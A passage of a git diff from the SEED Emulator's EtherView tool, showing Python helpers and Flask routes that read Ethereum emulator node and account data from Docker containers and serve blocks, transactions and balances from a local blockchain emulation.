with open(filename) as json_file: + eth_nodes = json.load(json_file) + + return eth_nodes + + +# Cache the emulator account information in a file. +def getEmulatorAccounts(path, filename): + os.system("mkdir -p {}".format(path)) + + client = docker.from_env() + all_containers = client.containers.list() + + mapping = {} + counters = {} + for container in all_containers: + labels = container.attrs['Config']['Labels'] + if 'EthereumService' in labels.get('org.seedsecuritylabs.seedemu.meta.class', []): + chain_id = labels.get('org.seedsecuritylabs.seedemu.meta.ethereum.chain_id') + + # record which container each key file comes from + # cmd = ['docker', 'exec', container.short_id, 'ls', '-1', '/root/.ethereum/keystore'] + exit_code, output = container.exec_run('ls /root/.ethereum/keystore') + keyfilenames = output.decode("utf-8").rstrip().split('\n') + for keyfilename in keyfilenames: + keyfile = '/root/.ethereum/keystore/' + keyfilename + keyname = labels.get('org.seedsecuritylabs.seedemu.meta.displayname') + + print("Getting the key file from %s" % keyname) + # cmd = ['docker', 'exec', container.short_id, 'cat', keyfile] + exit_code, output = container.exec_run('cat {}'.format(keyfile)) + encrypted_key = output.decode("utf-8").rstrip().split('\n')[0] + account = json.loads(encrypted_key) + address = Web3.toChecksumAddress(account["address"]) + mapping[address] = { + 'name': keyname, + 'chain_id': chain_id + } + + save_to_file = os.path.join(path, filename) + with open(save_to_file, 'w') as json_file: + json.dump(mapping, json_file, indent = 4) + + return + +# Cache the container information in a file. +def getContainerInfo(path, filename): + os.system("mkdir -p {}".format(path)) + + client = docker.from_env() + all_containers = client.containers.list() + + mapping_all = {} + for container in all_containers: + labels = container.attrs['Config']['Labels'] + if 'EthereumService' in labels.get('org.seedsecuritylabs.seedemu.meta.class', []): + info_map = {} + info_map["container_id"] = container.short_id + info_map["displayname"] = labels.get("org.seedsecuritylabs.seedemu.meta.displayname") + ip = labels.get("org.seedsecuritylabs.seedemu.meta.net.0.address") + info_map["ip"] = ip.replace("/24", "") # remove the network mask + info_map["node_id"] = labels.get("org.seedsecuritylabs.seedemu.meta.ethereum.node_id") + info_map["chain_id"] = labels.get("org.seedsecuritylabs.seedemu.meta.ethereum.chain_id") + info_map["node_role"] = labels.get("org.seedsecuritylabs.seedemu.meta.ethereum.role") + info_map["consensus"] = labels.get("org.seedsecuritylabs.seedemu.meta.ethereum.consensus") + + mapping_all[container.name] = info_map + + save_to_file = os.path.join(path, filename) + with open(save_to_file, 'w') as json_file: + json.dump(mapping_all, json_file, indent = 4) + + return + + +# Get the consensus type from the emulator +def get_eth_consensus(): + client = docker.from_env() + all_containers = client.containers.list() + + for container in all_containers: + labels = container.attrs['Config']['Labels'] + if 'EthereumService' in labels.get('org.seedsecuritylabs.seedemu.meta.class', []): + return labels.get("org.seedsecuritylabs.seedemu.meta.ethereum.consensus") + +# Load the timestamp of genesis block +def load_genesis_time(root_path): + path = os.path.join(root_path, "emulator_data") + filename = os.path.join(path, "genesis_timestamp.json") + + if os.path.exists(filename) is False: # the file does not exist + return -1 + + with open(filename) as json_file: + timestamp = json.load(json_file) + + return timestamp + +# Get the timestamp of genesis block +def get_genesis_time(web3_url, consensus): + web3 = connect_to_geth(web3_url, consensus) + return web3.eth.getBlock(0).timestamp + + +# Connect to a geth node +def connect_to_geth(url, consensus): + if consensus== 'POA': + return connect_to_geth_poa(url) + elif consensus == 'POS': + return connect_to_geth_pos(url) + elif consensus == 'POW': + return connect_to_geth_pow(url) + +# Connect to a geth node +def connect_to_geth_pos(url): + web3 = Web3(Web3.HTTPProvider(url)) + if not web3.isConnected(): + sys.exit("Connection failed!") + web3.middleware_onion.inject(geth_poa_middleware, layer=0) + + return web3 + +# Connect to a geth node +def connect_to_geth_poa(url): + web3 = Web3(Web3.HTTPProvider(url)) + if not web3.isConnected(): + sys.exit("Connection failed!") + web3.middleware_onion.inject(geth_poa_middleware, layer=0) + return web3 + +# Connect to a geth node +def connect_to_geth_pow(url): + web3 = Web3(Web3.HTTPProvider(url)) + if not web3.isConnected(): + sys.exit("Connection failed!") + return web3 + diff --git a/tools/Blockchain/EtherView/server/beaconchain/view.py b/tools/Blockchain/EtherView/server/beaconchain/view.py index 04fee1b79..2ec31454b 100644 --- a/tools/Blockchain/EtherView/server/beaconchain/view.py +++ b/tools/Blockchain/EtherView/server/beaconchain/view.py @@ -1,27 +1,27 @@ -from flask import Flask, Blueprint, render_template, redirect, url_for, flash, current_app as app, request - -beaconchain = Blueprint('beaconchain', __name__) - -@beaconchain.route("/validator-view/") -def validator_view(): - return render_template("beacon-frontend/validator-view.html") - -@beaconchain.route("/slot-view/") -def slot_view(): - return render_template("beacon-frontend/slot-view.html") - -@beaconchain.route('/slot-details/', methods=('GET',)) -def getSlotDetails(slotNumber): - return render_template('beacon-frontend/one-slot.html', slotNumber=slotNumber) - - - - -@beaconchain.route('/get_beacon_providers') -def get_beacon_providers(): - providers = [] - for key in app.eth_nodes: - node = app.eth_nodes[key] - providers.append("http://%s:8000" % node['ip']) - +from flask import Flask, Blueprint, render_template, redirect, url_for, flash, current_app as app, request + +beaconchain = Blueprint('beaconchain', __name__) + +@beaconchain.route("/validator-view/") +def validator_view(): + return render_template("beacon-frontend/validator-view.html") + +@beaconchain.route("/slot-view/") +def slot_view(): + return render_template("beacon-frontend/slot-view.html") + +@beaconchain.route('/slot-details/', methods=('GET',)) +def getSlotDetails(slotNumber): + return render_template('beacon-frontend/one-slot.html', slotNumber=slotNumber) + + + + +@beaconchain.route('/get_beacon_providers') +def get_beacon_providers(): + providers = [] + for key in app.eth_nodes: + node = app.eth_nodes[key] + providers.append("http://%s:8000" % node['ip']) + return providers \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/blockchain/SEEDWeb3.py b/tools/Blockchain/EtherView/server/blockchain/SEEDWeb3.py index 3ec89e213..b35bccc9c 100644 --- a/tools/Blockchain/EtherView/server/blockchain/SEEDWeb3.py +++ b/tools/Blockchain/EtherView/server/blockchain/SEEDWeb3.py @@ -1,224 +1,224 @@ -#!/bin/env python3 -# Send a raw transaction - -from web3 import Web3 -from web3.middleware import geth_poa_middleware -from eth_account import Account -import os, sys -import json -import requests - -def getFileContent(file_name): - file = open(file_name, "r") - data = file.read() - file.close() - return data.replace("\n","") - -def getContent(file_name): - file = open(file_name, "r") - data = file.read() - file.close() - return data.replace("\n","") - -# Connect to a geth node -def connect_to_geth(url, consensus): - if consensus== 'POA': - return connect_to_geth_poa(url) - elif consensus == 'POS': - return connect_to_geth_pos(url) - elif consensus == 'POW': - return connect_to_geth_pow(url) - -# Connect to a geth node -def connect_to_geth_pos(url): - web3 = Web3(Web3.HTTPProvider(url)) - if not web3.isConnected(): - sys.exit("Connection failed!") - return web3 - -# Connect to a geth node -def connect_to_geth_poa(url): - web3 = Web3(Web3.HTTPProvider(url)) - if not web3.isConnected(): - sys.exit("Connection failed!") - web3.middleware_onion.inject(geth_poa_middleware, layer=0) - return web3 - -# Connect to a geth node -def connect_to_geth_pow(url): - web3 = Web3(Web3.HTTPProvider(url)) - if not web3.isConnected(): - sys.exit("Connection failed!") - return web3 - - -# Select an account address from the key store -# Return: an address -def get_account_address(index): - file_list = os.listdir('keystore/eth') - if 'index.json' in file_list: - file_list.remove('index.json') - f = file_list[index] - with open('keystore/eth/{}'.format(f)) as keyfile: - content = json.loads(keyfile.read()) - return Web3.toChecksumAddress(content['address']) - -# Return how many account addresses are in the keystore folder -def get_account_total(): - file_list = os.listdir('keystore/eth') - if 'index.json' in file_list: - file_list.remove('index.json') - - return len(file_list) - - -# Get all the account addresses from the key store -# Return: a list of addresses -def get_all_account_addresses(): - accounts = [] - file_list = os.listdir('keystore/eth') - if 'index.json' in file_list: - file_list.remove('index.json') - - for f in file_list: - with open('keystore/eth/{}'.format(f)) as keyfile: - content = json.loads(keyfile.read()) - if 'address' in content: - accounts.append(Web3.toChecksumAddress(content['address'])) - return accounts - -def get_all_accounts_with_node_info(): - f = open('keystore/eth/index.json') - accounts = json.load(f) - return accounts - - -# Print balance -def print_balance(web3, account): - print("{}: {}".format(account, web3.eth.get_balance(account))) - - -# Construct a transaction -def construct_raw_transaction(sender, recipient, nonce, amount, data): - tx = { - 'nonce': nonce, - 'from': sender, - 'to': recipient, - 'value': Web3.toWei(amount, 'ether'), - 'gas': 2000000, - 'chainId': 10, # Must match with the value used in the emulator - 'gasPrice': Web3.toWei('50', 'gwei'), - 'data': data - } - return tx - -# Send raw transaction -def send_raw_transaction(web3, sender, recipient, amount, data): - print("---------Sending Raw Transaction ---------------") - nonce = web3.eth.getTransactionCount(sender.address) - tx = construct_raw_transaction(sender.address, recipient, nonce, amount, data) - signed_tx = web3.eth.account.sign_transaction(tx, sender.key) - tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction) - print("Transaction Hash: {}".format(tx_hash.hex())) - - tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash) - print("Transaction Receipt: {}".format(tx_receipt)) - return tx_receipt - -# Send raw transaction (no wait) -def send_raw_transaction_no_wait(web3, sender, recipient, amount, data): - print("---------Sending Raw Transaction ---------------") - nonce = web3.eth.getTransactionCount(sender.address) - tx = construct_raw_transaction(sender.address, recipient, nonce, amount, data) - signed_tx = web3.eth.account.sign_transaction(tx, sender.key) - tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction) - print("Transaction Hash: {}".format(tx_hash.hex())) - return tx_hash - - -# Send transaction -def send_transaction_via_geth(node, recipient, amount, data): - print("---------Sending Transaction from a geth node ---------------") - tx_hash = node.eth.send_transaction({ - 'from': node.eth.coinbase, - 'to': recipient, - 'value': amount, - 'data': data}) - print("Transaction Hash: {}".format(tx_hash.hex())) - - tx_receipt = node.eth.wait_for_transaction_receipt(tx_hash) - print("Transaction Receipt: {}".format(tx_receipt)) - return tx_receipt - - -# Deploy contract (high-level) -def deploy_contract_via_geth(node, abi_file, bin_file): - print("---------Deploying Contract from a geth node ----------------") - abi = getContent(abi_file) - bytecode = getContent(bin_file) - - myContract = node.eth.contract(abi=abi, bytecode=bytecode) - tx_hash = myContract.constructor().transact({ 'from': node.eth.coinbase }) - print("... Waiting for block") - tx_receipt = node.eth.wait_for_transaction_receipt(tx_hash) - contract_address = tx_receipt.contractAddress - print("Transaction Hash: {}".format(tx_receipt.transactionHash.hex())) - print("Transaction Receipt: {}".format(tx_receipt)) - print("Contract Address: {}".format(contract_address)) - return contract_address - - - -# Deploy contract (low-level): directly construct a transaction -# Using None as the target address, so the transaction will not have -# the 'to' field. -def deploy_contract_low_level_via_geth(node, abi_file, bin_file): - print("---------Deploying Contract from a geth node (low level) ----------") - bytecode = getContent(bin_file) - tx_receipt = send_transaction_via_geth(node, None, 0, bytecode) - contract_address = tx_receipt.contractAddress - print("Contract Address: {}".format(contract_address)) - return contract_address - - -# Deploy a contract using raw transaction -def deploy_contract_raw(web3, sender, bin_file): - print("---------Deploying Raw Contract (low level) ----------") - bytecode = getContent(bin_file) - tx_receipt = send_raw_transaction(web3, sender, None, 0, bytecode) - contract_address = tx_receipt.contractAddress - print("Contract Address: {}".format(contract_address)) - return contract_address - - -# Invoke contract -def invoke_contract_via_geth(node, contract_address, abi_file, function, arg): - print("---------Invoking Contract Function via a geth node --------") - new_address = Web3.toChecksumAddress(contract_address) - contract = node.eth.contract(address=new_address, abi=getContent(abi_file)) - contract_func = contract.functions[function] - - # Invoke the function locally. We can immediately get the return value - r = contract_func(arg).call() - print("Return value: {}".format(r)) - - # Invoke the function as a transaction. We cannot get the return value. - # The function emits return value using an event, which is included in - # the logs array of the transaction receipt. - tx_hash = contract_func(arg).transact({ 'from': node.eth.coinbase }) - tx_receipt = node.eth.wait_for_transaction_receipt(tx_hash) - print("Transaction Hash: {}".format(tx_receipt.transactionHash.hex())) - print("Transaction Receipt: {}".format(tx_receipt)) - return tx_receipt - - -# Send RPC to geth node -def send_geth_rpc(url, method, params): - myobj = {"jsonrpc":"2.0","id":1} - myobj["method"] = method - myobj["params"] = params - - x = requests.post(url, json = myobj) - y = json.loads(x.text) - return y["result"] - +#!/bin/env python3 +# Send a raw transaction + +from web3 import Web3 +from web3.middleware import geth_poa_middleware +from eth_account import Account +import os, sys +import json +import requests + +def getFileContent(file_name): + file = open(file_name, "r") + data = file.read() + file.close() + return data.replace("\n","") + +def getContent(file_name): + file = open(file_name, "r") + data = file.read() + file.close() + return data.replace("\n","") + +# Connect to a geth node +def connect_to_geth(url, consensus): + if consensus== 'POA': + return connect_to_geth_poa(url) + elif consensus == 'POS': + return connect_to_geth_pos(url) + elif consensus == 'POW': + return connect_to_geth_pow(url) + +# Connect to a geth node +def connect_to_geth_pos(url): + web3 = Web3(Web3.HTTPProvider(url)) + if not web3.isConnected(): + sys.exit("Connection failed!") + return web3 + +# Connect to a geth node +def connect_to_geth_poa(url): + web3 = Web3(Web3.HTTPProvider(url)) + if not web3.isConnected(): + sys.exit("Connection failed!") + web3.middleware_onion.inject(geth_poa_middleware, layer=0) + return web3 + +# Connect to a geth node +def connect_to_geth_pow(url): + web3 = Web3(Web3.HTTPProvider(url)) + if not web3.isConnected(): + sys.exit("Connection failed!") + return web3 + + +# Select an account address from the key store +# Return: an address +def get_account_address(index): + file_list = os.listdir('keystore/eth') + if 'index.json' in file_list: + file_list.remove('index.json') + f = file_list[index] + with open('keystore/eth/{}'.format(f)) as keyfile: + content = json.loads(keyfile.read()) + return Web3.toChecksumAddress(content['address']) + +# Return how many account addresses are in the keystore folder +def get_account_total(): + file_list = os.listdir('keystore/eth') + if 'index.json' in file_list: + file_list.remove('index.json') + + return len(file_list) + + +# Get all the account addresses from the key store +# Return: a list of addresses +def get_all_account_addresses(): + accounts = [] + file_list = os.listdir('keystore/eth') + if 'index.json' in file_list: + file_list.remove('index.json') + + for f in file_list: + with open('keystore/eth/{}'.format(f)) as keyfile: + content = json.loads(keyfile.read()) + if 'address' in content: + accounts.append(Web3.toChecksumAddress(content['address'])) + return accounts + +def get_all_accounts_with_node_info(): + f = open('keystore/eth/index.json') + accounts = json.load(f) + return accounts + + +# Print balance +def print_balance(web3, account): + print("{}: {}".format(account, web3.eth.get_balance(account))) + + +# Construct a transaction +def construct_raw_transaction(sender, recipient, nonce, amount, data): + tx = { + 'nonce': nonce, + 'from': sender, + 'to': recipient, + 'value': Web3.toWei(amount, 'ether'), + 'gas': 2000000, + 'chainId': 10, # Must match with the value used in the emulator + 'gasPrice': Web3.toWei('50', 'gwei'), + 'data': data + } + return tx + +# Send raw transaction +def send_raw_transaction(web3, sender, recipient, amount, data): + print("---------Sending Raw Transaction ---------------") + nonce = web3.eth.getTransactionCount(sender.address) + tx = construct_raw_transaction(sender.address, recipient, nonce, amount, data) + signed_tx = web3.eth.account.sign_transaction(tx, sender.key) + tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction) + print("Transaction Hash: {}".format(tx_hash.hex())) + + tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash) + print("Transaction Receipt: {}".format(tx_receipt)) + return tx_receipt + +# Send raw transaction (no wait) +def send_raw_transaction_no_wait(web3, sender, recipient, amount, data): + print("---------Sending Raw Transaction ---------------") + nonce = web3.eth.getTransactionCount(sender.address) + tx = construct_raw_transaction(sender.address, recipient, nonce, amount, data) + signed_tx = web3.eth.account.sign_transaction(tx, sender.key) + tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction) + print("Transaction Hash: {}".format(tx_hash.hex())) + return tx_hash + + +# Send transaction +def send_transaction_via_geth(node, recipient, amount, data): + print("---------Sending Transaction from a geth node ---------------") + tx_hash = node.eth.send_transaction({ + 'from': node.eth.coinbase, + 'to': recipient, + 'value': amount, + 'data': data}) + print("Transaction Hash: {}".format(tx_hash.hex())) + + tx_receipt = node.eth.wait_for_transaction_receipt(tx_hash) + print("Transaction Receipt: {}".format(tx_receipt)) + return tx_receipt + + +# Deploy contract (high-level) +def deploy_contract_via_geth(node, abi_file, bin_file): + print("---------Deploying Contract from a geth node ----------------") + abi = getContent(abi_file) + bytecode = getContent(bin_file) + + myContract = node.eth.contract(abi=abi, bytecode=bytecode) + tx_hash = myContract.constructor().transact({ 'from': node.eth.coinbase }) + print("... Waiting for block") + tx_receipt = node.eth.wait_for_transaction_receipt(tx_hash) + contract_address = tx_receipt.contractAddress + print("Transaction Hash: {}".format(tx_receipt.transactionHash.hex())) + print("Transaction Receipt: {}".format(tx_receipt)) + print("Contract Address: {}".format(contract_address)) + return contract_address + + + +# Deploy contract (low-level): directly construct a transaction +# Using None as the target address, so the transaction will not have +# the 'to' field. +def deploy_contract_low_level_via_geth(node, abi_file, bin_file): + print("---------Deploying Contract from a geth node (low level) ----------") + bytecode = getContent(bin_file) + tx_receipt = send_transaction_via_geth(node, None, 0, bytecode) + contract_address = tx_receipt.contractAddress + print("Contract Address: {}".format(contract_address)) + return contract_address + + +# Deploy a contract using raw transaction +def deploy_contract_raw(web3, sender, bin_file): + print("---------Deploying Raw Contract (low level) ----------") + bytecode = getContent(bin_file) + tx_receipt = send_raw_transaction(web3, sender, None, 0, bytecode) + contract_address = tx_receipt.contractAddress + print("Contract Address: {}".format(contract_address)) + return contract_address + + +# Invoke contract +def invoke_contract_via_geth(node, contract_address, abi_file, function, arg): + print("---------Invoking Contract Function via a geth node --------") + new_address = Web3.toChecksumAddress(contract_address) + contract = node.eth.contract(address=new_address, abi=getContent(abi_file)) + contract_func = contract.functions[function] + + # Invoke the function locally. We can immediately get the return value + r = contract_func(arg).call() + print("Return value: {}".format(r)) + + # Invoke the function as a transaction. We cannot get the return value. + # The function emits return value using an event, which is included in + # the logs array of the transaction receipt. + tx_hash = contract_func(arg).transact({ 'from': node.eth.coinbase }) + tx_receipt = node.eth.wait_for_transaction_receipt(tx_hash) + print("Transaction Hash: {}".format(tx_receipt.transactionHash.hex())) + print("Transaction Receipt: {}".format(tx_receipt)) + return tx_receipt + + +# Send RPC to geth node +def send_geth_rpc(url, method, params): + myobj = {"jsonrpc":"2.0","id":1} + myobj["method"] = method + myobj["params"] = params + + x = requests.post(url, json = myobj) + y = json.loads(x.text) + return y["result"] + diff --git a/tools/Blockchain/EtherView/server/blockchain/blockchain.py b/tools/Blockchain/EtherView/server/blockchain/blockchain.py index d1a986bbf..d4f9104c1 100644 --- a/tools/Blockchain/EtherView/server/blockchain/blockchain.py +++ b/tools/Blockchain/EtherView/server/blockchain/blockchain.py @@ -1,286 +1,286 @@ -from flask import ( - Blueprint, flash, redirect, render_template, jsonify, request, Response, url_for, current_app as app -) -from web3 import Web3 -import docker -import json -from .SEEDWeb3 import * -from eth_account import Account -from hexbytes import HexBytes - -class HexJsonEncoder(json.JSONEncoder): - def default(self, obj): - if isinstance(obj, HexBytes): - return obj.hex() - return super().default(obj) - - -blockchain = Blueprint('blockchain', __name__) - -# Get the balance of the -@blockchain.route('/get_balance/', methods=('GET',)) -def get_balance(): - web3 = connect_to_geth(app.web3_url, app.consensus) - - balance = {} - for addr in app.eth_accounts: - caddr = Web3.toChecksumAddress(addr) - balance[addr] = web3.fromWei(web3.eth.get_balance(caddr), 'ether') - - for addr in app.local_accounts: - caddr = Web3.toChecksumAddress(addr) - balance[addr] = web3.fromWei(web3.eth.get_balance(caddr), 'ether') - - return balance - -@blockchain.route('/get_balance_with_name/', methods=('GET',)) -def get_balance_with_name(): - web3 = connect_to_geth(app.web3_url, app.consensus) - - balance = {} - for addr in app.eth_accounts: - node = {} - caddr = Web3.toChecksumAddress(addr) - node['balance'] = web3.fromWei(web3.eth.get_balance(caddr), 'ether') - full_name = app.eth_accounts[addr]['name'] - node['node_name'] = app.eth_nodes[full_name]['displayname'] - balance[addr] = node - - for addr in app.local_accounts: - node = {} - caddr = Web3.toChecksumAddress(addr) - node['balance'] = web3.fromWei(web3.eth.get_balance(caddr), 'ether') - node['node_name'] = app.local_accounts[addr]['name'] - balance[caddr] = node - - return balance - - -@blockchain.route('/get_balance_of_account/', methods=('GET',)) -def get_balance_of_account(addr): - web3 = connect_to_geth(app.web3_url, app.consensus) - caddr = Web3.toChecksumAddress(addr) - node = {} - node['account'] = caddr - node['balance'] = web3.fromWei(web3.eth.get_balance(caddr), 'ether') - - return node - - -# Get the signers for the last N blocks -@blockchain.route('/get_signers/', methods=('GET',)) -def get_signers(lastN): - web3 = connect_to_geth(app.web3_url, app.consensus) - latest = web3.eth.getBlock('latest').number - start = latest - int(lastN) + 1 - if start <= 0: - start = 1 - - signers = {} - for bk in range(start, latest+1): - bkhash = web3.eth.getBlock(bk).hash - result = send_geth_rpc(app.web3_url, "clique_getSigner", [bkhash.hex()]) - addr = Web3.toChecksumAddress(result) - - name = app.eth_accounts[str(addr)]['name'] - container_id = app.eth_nodes[name]['container_id'] - - signers[bk] = {'address': str(addr), 'container_name': name, - 'container_id': container_id} - - return signers - -# Get a transaction -@blockchain.route('/get_transaction/', methods=('GET',)) -def get_transaction(txhash): - web3 = connect_to_geth(app.web3_url, app.consensus) - - try: - tx = dict(web3.eth.get_transaction(txhash)) - except: - tx = {"status": "No such transaction"} - - resp = Response(json.dumps(tx, cls=HexJsonEncoder, indent=5)) - resp.headers['Content-Type'] = 'application/json' - return resp - - -# Get a transaction hash -@blockchain.route('/get_transaction_receipt/', methods=('GET',)) -def get_transaction_receipt(txhash): - web3 = connect_to_geth(app.web3_url, app.consensus) - - try: - tx = dict(web3.eth.get_transaction_receipt(txhash)) - except: - tx = {"status": "No such transaction"} - - resp = Response(json.dumps(tx, cls=HexJsonEncoder, indent=5)) - resp.headers['Content-Type'] = 'application/json' - return resp - -# Get a block -@blockchain.route('/get_block/', methods=('GET',)) -def get_block(blockNumber): - web3 = connect_to_geth(app.web3_url, app.consensus) - if blockNumber == 'latest': - blockNumber = web3.eth.getBlock('latest').number - - block = web3.eth.get_block(int(blockNumber)) - - resp = Response(json.dumps(dict(block), cls=HexJsonEncoder, indent=5)) - resp.headers['Content-Type'] = 'application/json' - return resp - - -@blockchain.route('/get_lastN_blocks/', methods=('GET',)) -def get_lastN_blocks(lastN): - web3 = connect_to_geth(app.web3_url, app.consensus) - latest = web3.eth.getBlock('latest').number - start = latest - int(lastN) + 1 - if start <= 0: - start = 1 - - blocks = {} - for bk in range(start, latest+1): - block = web3.eth.get_block(bk) - blocks[bk] = dict(block) - - resp = Response(json.dumps(blocks, cls=HexJsonEncoder, indent=5)) - resp.headers['Content-Type'] = 'application/json' - return resp - - -@blockchain.route('/get_txs_from_block/', methods=('GET',)) -def get_txs_from_block(blockNumber): - web3 = connect_to_geth(app.web3_url, app.consensus) - if blockNumber == 'latest': - blockNumber = web3.eth.getBlock('latest').number - - block = web3.eth.get_block(int(blockNumber)) - transactions = {} - for txhash in block.transactions: - tx = web3.eth.get_transaction(txhash.hex()) - transactions[txhash.hex()] = dict(tx) - - resp = Response(json.dumps(transactions, cls=HexJsonEncoder, indent=5)) - resp.headers['Content-Type'] = 'application/json' - return resp - - -@blockchain.route('/get_tx_receipts_from_block/', methods=('GET',)) -def get_tx_receipts_from_block(blockNumber): - web3 = connect_to_geth(app.web3_url, app.consensus) - if blockNumber == 'latest': - blockNumber = web3.eth.getBlock('latest').number - - block = web3.eth.get_block(int(blockNumber)) - transactions = {} - for txhash in block.transactions: - tx = web3.eth.get_transaction_receipt(txhash.hex()) - transactions[txhash.hex()] = dict(tx) - - resp = Response(json.dumps(transactions, cls=HexJsonEncoder, indent=5)) - resp.headers['Content-Type'] = 'application/json' - return resp - - -@blockchain.route('/get_eth_nodes/', methods=('GET',)) -def get_eth_nodes(): - return app.eth_nodes - -@blockchain.route('/get_base_fees/', methods=('GET',)) -def get_base_fees(lastN): - web3 = connect_to_geth(app.web3_url, app.consensus) - latest = web3.eth.getBlock('latest').number - start = latest - int(lastN) + 1 - if start <= 0: - start = 1 - - base_fees = {} - for bk in range(start, latest+1): - block = web3.eth.get_block(bk) - #blocks[bk] = dict(block) - tt = dict(block) - base_fees[bk] = tt['baseFeePerGas'] - - resp = Response(json.dumps(base_fees, cls=HexJsonEncoder, indent=5)) - resp.headers['Content-Type'] = 'application/json' - return resp - -@blockchain.route('/get_gas_limits/', methods=('GET',)) -def get_gas_limits(lastN): - web3 = connect_to_geth(app.web3_url, app.consensus) - latest = web3.eth.getBlock('latest').number - start = latest - int(lastN) + 1 - if start <= 0: - start = 1 - - gas_limits = {} - for bk in range(start, latest+1): - block = web3.eth.get_block(bk) - tt = dict(block) - gas_limits[bk] = tt['gasLimit'] - - resp = Response(json.dumps(gas_limits, cls=HexJsonEncoder, indent=5)) - resp.headers['Content-Type'] = 'application/json' - return resp - -@blockchain.route('/get_txpool_pending/', methods=('GET',)) -def get_txpool_pending(): - pending = {} - for node in app.eth_nodes: - node_info = app.eth_nodes[node] - ip = node_info['ip'] - url = "http://" + ip + ":8545" - web3 = Web3(Web3.HTTPProvider(url)) - web3.middleware_onion.inject(geth_poa_middleware, layer=0) - - txpool = web3.geth.txpool.content() - total = 0 - for key in txpool.pending: - total += len(dict(txpool.pending[key])) - pending[ip] = total - - resp = Response(json.dumps(pending, cls=HexJsonEncoder, indent=5)) - resp.headers['Content-Type'] = 'application/json' - return resp - - -@blockchain.route('/get_accounts') -def get_accounts(): - accounts =[] - - # Get the accounts from the emulator - for address in app.eth_accounts: - item = app.eth_accounts[address] - accounts.append({"address": address, - "name": item["name"], - "type": "emulator"}) - - # Generate local accounts using the mnemonic phrase. - Account.enable_unaudited_hdwallet_features() - local_account_names = app.configure['local_account_names'] - for index in range(len(local_account_names)): - account = Account.from_mnemonic(app.configure['mnemonic_phrase'], - account_path=app.configure['key_derivation_path'].format(index)) - accounts.append({"address": account.address, - "name": local_account_names[index], - "type": "local"}) - - return accounts - -@blockchain.route('/get_web3_providers') -def get_web3_providers(): - providers = [] - for key in app.eth_nodes: - node = app.eth_nodes[key] - providers.append("http://%s:8545" % node['ip']) - - return providers - -@blockchain.route('/get_consensus') -def get_consensus(): - resp = Response(json.dumps(app.consensus, cls=HexJsonEncoder, indent=5)) - resp.headers['Content-Type'] = 'application/json' - return resp +from flask import ( + Blueprint, flash, redirect, render_template, jsonify, request, Response, url_for, current_app as app +) +from web3 import Web3 +import docker +import json +from .SEEDWeb3 import * +from eth_account import Account +from hexbytes import HexBytes + +class HexJsonEncoder(json.JSONEncoder): + def default(self, obj): + if isinstance(obj, HexBytes): + return obj.hex() + return super().default(obj) + + +blockchain = Blueprint('blockchain', __name__) + +# Get the balance of the +@blockchain.route('/get_balance/', methods=('GET',)) +def get_balance(): + web3 = connect_to_geth(app.web3_url, app.consensus) + + balance = {} + for addr in app.eth_accounts: + caddr = Web3.toChecksumAddress(addr) + balance[addr] = web3.fromWei(web3.eth.get_balance(caddr), 'ether') + + for addr in app.local_accounts: + caddr = Web3.toChecksumAddress(addr) + balance[addr] = web3.fromWei(web3.eth.get_balance(caddr), 'ether') + + return balance + +@blockchain.route('/get_balance_with_name/', methods=('GET',)) +def get_balance_with_name(): + web3 = connect_to_geth(app.web3_url, app.consensus) + + balance = {} + for addr in app.eth_accounts: + node = {} + caddr = Web3.toChecksumAddress(addr) + node['balance'] = web3.fromWei(web3.eth.get_balance(caddr), 'ether') + full_name = app.eth_accounts[addr]['name'] + node['node_name'] = app.eth_nodes[full_name]['displayname'] + balance[addr] = node + + for addr in app.local_accounts: + node = {} + caddr = Web3.toChecksumAddress(addr) + node['balance'] = web3.fromWei(web3.eth.get_balance(caddr), 'ether') + node['node_name'] = app.local_accounts[addr]['name'] + balance[caddr] = node + + return balance + + +@blockchain.route('/get_balance_of_account/', methods=('GET',)) +def get_balance_of_account(addr): + web3 = connect_to_geth(app.web3_url, app.consensus) + caddr = Web3.toChecksumAddress(addr) + node = {} + node['account'] = caddr + node['balance'] = web3.fromWei(web3.eth.get_balance(caddr), 'ether') + + return node + + +# Get the signers for the last N blocks +@blockchain.route('/get_signers/', methods=('GET',)) +def get_signers(lastN): + web3 = connect_to_geth(app.web3_url, app.consensus) + latest = web3.eth.getBlock('latest').number + start = latest - int(lastN) + 1 + if start <= 0: + start = 1 + + signers = {} + for bk in range(start, latest+1): + bkhash = web3.eth.getBlock(bk).hash + result = send_geth_rpc(app.web3_url, "clique_getSigner", [bkhash.hex()]) + addr = Web3.toChecksumAddress(result) + + name = app.eth_accounts[str(addr)]['name'] + container_id = app.eth_nodes[name]['container_id'] + + signers[bk] = {'address': str(addr), 'container_name': name, + 'container_id': container_id} + + return signers + +# Get a transaction +@blockchain.route('/get_transaction/', methods=('GET',)) +def get_transaction(txhash): + web3 = connect_to_geth(app.web3_url, app.consensus) + + try: + tx = dict(web3.eth.get_transaction(txhash)) + except: + tx = {"status": "No such transaction"} + + resp = Response(json.dumps(tx, cls=HexJsonEncoder, indent=5)) + resp.headers['Content-Type'] = 'application/json' + return resp + + +# Get a transaction hash +@blockchain.route('/get_transaction_receipt/', methods=('GET',)) +def get_transaction_receipt(txhash): + web3 = connect_to_geth(app.web3_url, app.consensus) + + try: + tx = dict(web3.eth.get_transaction_receipt(txhash)) + except: + tx = {"status": "No such transaction"} + + resp = Response(json.dumps(tx, cls=HexJsonEncoder, indent=5)) + resp.headers['Content-Type'] = 'application/json' + return resp + +# Get a block +@blockchain.route('/get_block/', methods=('GET',)) +def get_block(blockNumber): + web3 = connect_to_geth(app.web3_url, app.consensus) + if blockNumber == 'latest': + blockNumber = web3.eth.getBlock('latest').number + + block = web3.eth.get_block(int(blockNumber)) + + resp = Response(json.dumps(dict(block), cls=HexJsonEncoder, indent=5)) + resp.headers['Content-Type'] = 'application/json' + return resp + + +@blockchain.route('/get_lastN_blocks/', methods=('GET',)) +def get_lastN_blocks(lastN): + web3 = connect_to_geth(app.web3_url, app.consensus) + latest = web3.eth.getBlock('latest').number + start = latest - int(lastN) + 1 + if start <= 0: + start = 1 + + blocks = {} + for bk in range(start, latest+1): + block = web3.eth.get_block(bk) + blocks[bk] = dict(block) + + resp = Response(json.dumps(blocks, 